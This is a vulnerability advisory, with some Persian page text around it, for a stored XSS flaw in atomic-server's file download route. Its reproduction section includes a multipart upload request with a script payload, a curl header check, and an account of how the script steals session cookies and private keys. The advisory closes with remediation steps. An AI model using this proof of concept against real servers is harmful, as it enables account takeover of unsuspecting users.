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Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover

متن اصلی

نسخه‌های متأثر

Rust / Cargoatomic-server
نسخه‌های متأثر
>= 0.30.0, <= 0.40.1
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2026-69155

احتمال بهره‌برداری در ۳۰ روز آینده: 0.43%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

Summary

Files uploaded via POST /upload are served back by GET /download/{path} using actix_files::NamedFile. For text/html and image/svg+xml, actix-files (0.6.6) sets Content-Disposition: inline, so the browser renders the file instead of downloading it. The /download route sets no Content-Security-Policy, no X-Content-Type-Options: nosniff, and no forced attachment (CSP exists only on the SPA route), and files are served from the same origin as the app UI. An authenticated Agent uploads evil.html containing <script>; when a victim opens the link, the script executes in the app origin. Because the atomic_session cookie is set via document.cookie (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (browser/data-browser/src/helpers/agentStorage.ts), the script exfiltrates the private key → permanent account takeover.

Affected component

  • server/src/handlers/upload.rs — stores the file; mimetype guessed from extension.

  • server/src/handlers/download.rs:65 — NamedFile::open(...).into_response(req) with no CSP/nosniff/attachment; CSP is only set in server/src/handlers/single_page_app.rs.

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a folder.

  1. Upload an HTML file (multipart, with signed auth headers):

POST /upload?parent=http://localhost:9883 HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")>
Content-Type: multipart/form-data; boundary=----poc

------poc
Content-Disposition: form-data; name="assets"; filename="xss.html"
Content-Type: text/html

<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>
------poc--

Response 200 returns a downloadURL, e.g. http://localhost:9883/download/files/<ts>-xss.html.

  1. Inspect how the server serves it:

$ curl -D - http://localhost:9883/download/files/<ts>-xss.html
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-disposition: inline; filename="<ts>-xss.html"
# (no Content-Security-Policy, no X-Content-Type-Options)

text/html + inline + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. image/svg+xml behaves identically.

  1. The attacker sends the link to a victim. On open, the script runs same-origin and reads document.cookie (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.

Expected: user files served with Content-Disposition: attachment + nosniff, or from an isolated origin. Actual: served inline, text/html, same origin, no CSP/nosniff → stored XSS executes.

(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact <script> body. In-browser execution and IndexedDB key theft follow directly from these response headers.)

Impact

Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.

Remediation

  • On /download, force Content-Disposition: attachment for user files, add X-Content-Type-Options: nosniff, and a sandbox CSP.

  • Serve user-uploaded files from a separate origin/subdomain.

  • Set HttpOnly + Secure on the session cookie; do not persist the private key in JS-readable storage.

پیوندها

گزارش‌دهندگان

  • luuhung1217